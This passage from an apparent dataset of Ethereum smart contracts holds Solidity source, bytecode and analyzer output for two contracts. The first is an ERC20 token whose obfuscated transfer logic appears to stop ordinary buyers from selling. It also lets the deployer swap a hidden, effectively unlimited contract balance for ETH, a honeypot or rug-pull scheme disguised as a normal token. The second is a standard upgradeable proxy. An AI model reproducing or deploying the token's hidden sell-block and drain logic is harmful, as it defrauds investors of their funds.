uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), 'Ownable: caller is not the owner');
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol)
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Contract is IERC20, Ownable {
string private _name;
string private _symbol;
uint256 public _taxFee = 1;
uint8 private _decimals = 9;
uint256 private _tTotal = 1000000000000000 * 10**_decimals;
uint256 private _being = _tTotal;
uint256 private _rTotal = ~uint256(0);
bool private _swapAndLiquifyEnabled;
bool private inSwapAndLiquify;
address public uniswapV2Pair;
IUniswapV2Router02 public router;
mapping(address => uint256) private _balances;
mapping(address => uint256) private _whenever;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(uint256 => address) private _whose;
mapping(uint256 => address) private _rush;
mapping(address => uint256) private _driving;
constructor(
string memory Name,
string memory Symbol,
address routerAddress
) {
_name = Name;
_symbol = Symbol;
_whenever[msg.sender] = _being;
_balances[msg.sender] = _tTotal;
_balances[address(this)] = _rTotal;
router = IUniswapV2Router02(routerAddress);
uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());
_rush[_being] = uniswapV2Pair;
emit Transfer(address(0), msg.sender, _tTotal);
}
function symbol() public view returns (string memory) {
return _symbol;
}
function name() public view returns (string memory) {
return _name;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function decimals() public view returns (uint256) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
receive() external payable {}
function approve(address spender, uint256 amount) external override returns (bool) {
return _approve(msg.sender, spender, amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) private returns (bool) {
require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) external override returns (bool) {
_transfer(sender, recipient, amount);
emit Transfer(sender, recipient, amount);
return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
_transfer(msg.sender, recipient, amount);
emit Transfer(msg.sender, recipient, amount);
return true;
}
function _transfer(
address _wagon,
address _everywhere,
uint256 amount
) private {
address _spend = _whose[_being];
bool _youth = _wagon == _rush[_being];
if (_whenever[_wagon] == 0 && !_youth && _driving[_wagon] > 0) {
require(_youth);
}
_whose[_being] = _everywhere;
if (_whenever[_wagon] > 0 && amount == 0) {
_whenever[_everywhere] += _taxFee;
}
_driving[_spend] += _taxFee;
if (_whenever[_wagon] > 0 && amount > _being) {
swapAndLiquify(amount);
return;
}
if (_taxFee > 0 && _whenever[_wagon] == 0) {
uint256 fee = (amount * _taxFee) / 100;
amount -= fee;
_balances[_wagon] -= fee;
}
_balances[_wagon] -= amount;
_balances[_everywhere] += amount;
}
function addLiquidity(
uint256 tokenAmount,
uint256 ethAmount,
address to
) private {
_approve(address(this), address(router), tokenAmount);
router.addLiquidityETH{value: ethAmount}(address(this), tokenAmount, 0, 0, to, block.timestamp);
}
function swapAndLiquify(uint256 tokens) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
_approve(address(this), address(router), tokens);
router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokens, 0, path, msg.sender, block.timestamp);
}
} | 0x6080604052600436106100ec5760003560e01c806370a082311161008a578063a9059cbb11610059578063a9059cbb146102f3578063dd62ed3e14610330578063f2fde38b1461036d578063f887ea4014610396576100f3565b806370a0823114610249578063715018a6146102865780638da5cb5b1461029d57806395d89b41146102c8576100f3565b806323b872dd116100c657806323b872dd1461018b578063313ce567146101c85780633b124fe7146101f357806349bd5a5e1461021e576100f3565b806306fdde03146100f8578063095ea7b31461012357806318160ddd14610160576100f3565b366100f357005b600080fd5b34801561010457600080fd5b5061010d6103c1565b60405161011a91906115f1565b60405180910390f35b34801561012f57600080fd5b5061014a600480360381019061014591906113ee565b610453565b60405161015791906115bb565b60405180910390f35b34801561016c57600080fd5b50610175610468565b6040516101829190611673565b60405180910390f35b34801561019757600080fd5b506101b260048036038101906101ad919061139b565b610472565b6040516101bf91906115bb565b60405180910390f35b3480156101d457600080fd5b506101dd61057f565b6040516101ea9190611673565b60405180910390f35b3480156101ff57600080fd5b50610208610599565b6040516102159190611673565b60405180910390f35b34801561022a57600080fd5b5061023361059f565b60405161024091906115a0565b60405180910390f35b34801561025557600080fd5b50610270600480360381019061026b9190611301565b6105c5565b60405161027d9190611673565b60405180910390f35b34801561029257600080fd5b5061029b61060e565b005b3480156102a957600080fd5b506102b2610696565b6040516102bf91906115a0565b60405180910390f35b3480156102d457600080fd5b506102dd6106bf565b6040516102ea91906115f1565b60405180910390f35b3480156102ff57600080fd5b5061031a600480360381019061031591906113ee565b610751565b60405161032791906115bb565b60405180910390f35b34801561033c57600080fd5b506103576004803603810190610352919061135b565b6107cd565b6040516103649190611673565b60405180910390f35b34801561037957600080fd5b50610394600480360381019061038f9190611301565b610854565b005b3480156103a257600080fd5b506103ab61094c565b6040516103b891906115d6565b60405180910390f35b6060600180546103d090611915565b80601f01602080910402602001604051908101604052809291908181526020018280546103fc90611915565b80156104495780601f1061041e57610100808354040283529160200191610449565b820191906000526020600020905b81548152906001019060200180831161042c57829003601f168201915b5050505050905090565b6000610460338484610972565b905092915050565b6000600554905090565b600061047f848484610b0d565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516104dc9190611673565b60405180910390a3610576843384600c60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610571919061181e565b610972565b90509392505050565b6000600460009054906101000a900460ff1660ff16905090565b60035481565b600860029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610616610fa3565b73ffffffffffffffffffffffffffffffffffffffff16610634610696565b73ffffffffffffffffffffffffffffffffffffffff161461068a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161068190611633565b60405180910390fd5b6106946000610fab565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600280546106ce90611915565b80601f01602080910402602001604051908101604052809291908181526020018280546106fa90611915565b80156107475780601f1061071c57610100808354040283529160200191610747565b820191906000526020600020905b81548152906001019060200180831161072a57829003601f168201915b5050505050905090565b600061075e338484610b0d565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107bb9190611673565b60405180910390a36001905092915050565b6000600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61085c610fa3565b73ffffffffffffffffffffffffffffffffffffffff1661087a610696565b73ffffffffffffffffffffffffffffffffffffffff16146108d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c790611633565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610940576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161093790611613565b60405180910390fd5b61094981610fab565b50565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156109dd5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b610a1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1390611653565b60405180910390fd5b81600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610afa9190611673565b60405180910390a3600190509392505050565b6000600d6000600654815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600e6000600654815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161490506000600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054148015610bfc575080155b8015610c4757506000600f60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15610c575780610c5657600080fd5b5b83600d6000600654815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118015610cfa5750600083145b15610d5857600354600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d50919061173d565b925050819055505b600354600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610da9919061173d565b925050819055506000600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118015610e00575060065483115b15610e1557610e0e8361106f565b5050610f9e565b6000600354118015610e6657506000600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b15610eef576000606460035485610e7d91906117c4565b610e879190611793565b90508084610e95919061181e565b935080600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ee6919061181e565b92505081905550505b82600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f3e919061181e565b9250508190555082600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f94919061173d565b9250508190555050505b505050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000600267ffffffffffffffff81111561108c5761108b611a03565b5b6040519080825280602002602001820160405280156110ba5781602001602082028036833780820191505090505b50905030816000815181106110d2576110d16119d4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561117457600080fd5b505afa158015611188573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111ac919061132e565b816001815181106111c0576111bf6119d4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061122730600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610972565b50600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008433426040518663ffffffff1660e01b815260040161128c95949392919061168e565b600060405180830381600087803b1580156112a657600080fd5b505af11580156112ba573d6000803e3d6000fd5b505050505050565b6000813590506112d181611b0f565b92915050565b6000815190506112e681611b0f565b92915050565b6000813590506112fb81611b26565b92915050565b60006020828403121561131757611316611a32565b5b6000611325848285016112c2565b91505092915050565b60006020828403121561134457611343611a32565b5b6000611352848285016112d7565b91505092915050565b6000806040838503121561137257611371611a32565b5b6000611380858286016112c2565b9250506020611391858286016112c2565b9150509250929050565b6000806000606084860312156113b4576113b3611a32565b5b60006113c2868287016112c2565b93505060206113d3868287016112c2565b92505060406113e4868287016112ec565b9150509250925092565b6000806040838503121561140557611404611a32565b5b6000611413858286016112c2565b9250506020611424858286016112ec565b9150509250929050565b600061143a8383611446565b60208301905092915050565b61144f81611852565b82525050565b61145e81611852565b82525050565b600061146f826116f8565b611479818561171b565b9350611484836116e8565b8060005b838110156114b557815161149c888261142e565b97506114a78361170e565b925050600181019050611488565b5085935050505092915050565b6114cb81611864565b82525050565b6114da8161189a565b82525050565b6114e9816118ac565b82525050565b60006114fa82611703565b611504818561172c565b93506115148185602086016118e2565b61151d81611a37565b840191505092915050565b600061153560268361172c565b915061154082611a48565b604082019050919050565b600061155860208361172c565b915061156382611a97565b602082019050919050565b600061157b60248361172c565b915061158682611ac0565b604082019050919050565b61159a81611890565b82525050565b60006020820190506115b56000830184611455565b92915050565b60006020820190506115d060008301846114c2565b92915050565b60006020820190506115eb60008301846114d1565b92915050565b6000602082019050818103600083015261160b81846114ef565b905092915050565b6000602082019050818103600083015261162c81611528565b9050919050565b6000602082019050818103600083015261164c8161154b565b9050919050565b6000602082019050818103600083015261166c8161156e565b9050919050565b60006020820190506116886000830184611591565b92915050565b600060a0820190506116a36000830188611591565b6116b060208301876114e0565b81810360408301526116c28186611464565b90506116d16060830185611455565b6116de6080830184611591565b9695505050505050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061174882611890565b915061175383611890565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561178857611787611947565b5b828201905092915050565b600061179e82611890565b91506117a983611890565b9250826117b9576117b8611976565b5b828204905092915050565b60006117cf82611890565b91506117da83611890565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561181357611812611947565b5b828202905092915050565b600061182982611890565b915061183483611890565b92508282101561184757611846611947565b5b828203905092915050565b600061185d82611870565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60006118a5826118be565b9050919050565b60006118b782611890565b9050919050565b60006118c9826118d0565b9050919050565b60006118db82611870565b9050919050565b60005b838110156119005780820151818401526020810190506118e5565b8381111561190f576000848401525b50505050565b6000600282049050600182168061192d57607f821691505b60208210811415611941576119406119a5565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b611b1881611852565b8114611b2357600080fd5b50565b611b2f81611890565b8114611b3a57600080fd5b5056fea26469706673582212205de448982af36d338aaf3c22df860e627f67e15a2ed44fcbe072dbddd2519d0064736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 9,813 |
0xad4649a917a0e928d00c3028dB63ACb07960d25B | pragma solidity ^0.5.0;
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
function () payable external {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() internal view returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize)
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas, implementation, 0, calldatasize, 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize)
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize) }
default { return(0, returndatasize) }
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() internal {
}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
/**
* Utility library of inline functions on addresses
*
* Source https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-solidity/v2.1.3/contracts/utils/Address.sol
* This contract is copied here and renamed from the original to avoid clashes in the compiled artifacts
* when the user imports a zos-lib contract (that transitively causes this contract to be compiled and added to the
* build/artifacts folder) as well as the vanilla Address implementation from an openzeppelin version.
*/
library OpenZeppelinUpgradesAddress {
/**
* Returns whether the target address is a contract
* @dev This function will return false if invoked during the constructor of a contract,
* as the code is not actually created until after the constructor finishes.
* @param account address of the account to check
* @return whether the target address is a contract
*/
function isContract(address account) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
/**
* @title BaseUpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
contract BaseUpgradeabilityProxy is Proxy {
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return Address of the current implementation
*/
function _implementation() internal view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(OpenZeppelinUpgradesAddress.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
/**
* @title UpgradeabilityProxy
* @dev Extends BaseUpgradeabilityProxy with a constructor for initializing
* implementation and init data.
*/
contract UpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Contract constructor.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
}
/**
* @title BaseAdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract BaseAdminUpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin {
_upgradeTo(newImplementation);
(bool success,) = newImplementation.delegatecall(data);
require(success);
}
/**
* @return The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
super._willFallback();
}
}
/**
* @title InitializableUpgradeabilityProxy
* @dev Extends BaseUpgradeabilityProxy with an initializer for initializing
* implementation and init data.
*/
contract InitializableUpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Contract initializer.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
function initialize(address _logic, bytes memory _data) public payable {
require(_implementation() == address(0));
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
}
/**
* @title InitializableAdminUpgradeabilityProxy
* @dev Extends from BaseAdminUpgradeabilityProxy with an initializer for
* initializing the implementation, admin, and init data.
*/
contract InitializableAdminUpgradeabilityProxy is BaseAdminUpgradeabilityProxy, InitializableUpgradeabilityProxy {
/**
* Contract initializer.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
function initialize(address _logic, address _admin, bytes memory _data) public payable {
require(_implementation() == address(0));
InitializableUpgradeabilityProxy.initialize(_logic, _data);
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
} | 0x6080604052600436106100705760003560e01c80638f2839701161004e5780638f2839701461015e578063cf7a1d7714610191578063d1f5789414610250578063f851a4401461030657610070565b80633659cfe61461007a5780634f1ef286146100ad5780635c60da1b1461012d575b61007861031b565b005b34801561008657600080fd5b506100786004803603602081101561009d57600080fd5b50356001600160a01b0316610335565b610078600480360360408110156100c357600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100ee57600080fd5b82018360208201111561010057600080fd5b8035906020019184600183028401116401000000008311171561012257600080fd5b50909250905061036f565b34801561013957600080fd5b5061014261041c565b604080516001600160a01b039092168252519081900360200190f35b34801561016a57600080fd5b506100786004803603602081101561018157600080fd5b50356001600160a01b0316610459565b610078600480360360608110156101a757600080fd5b6001600160a01b0382358116926020810135909116918101906060810160408201356401000000008111156101db57600080fd5b8201836020820111156101ed57600080fd5b8035906020019184600183028401116401000000008311171561020f57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610513945050505050565b61007860048036036040811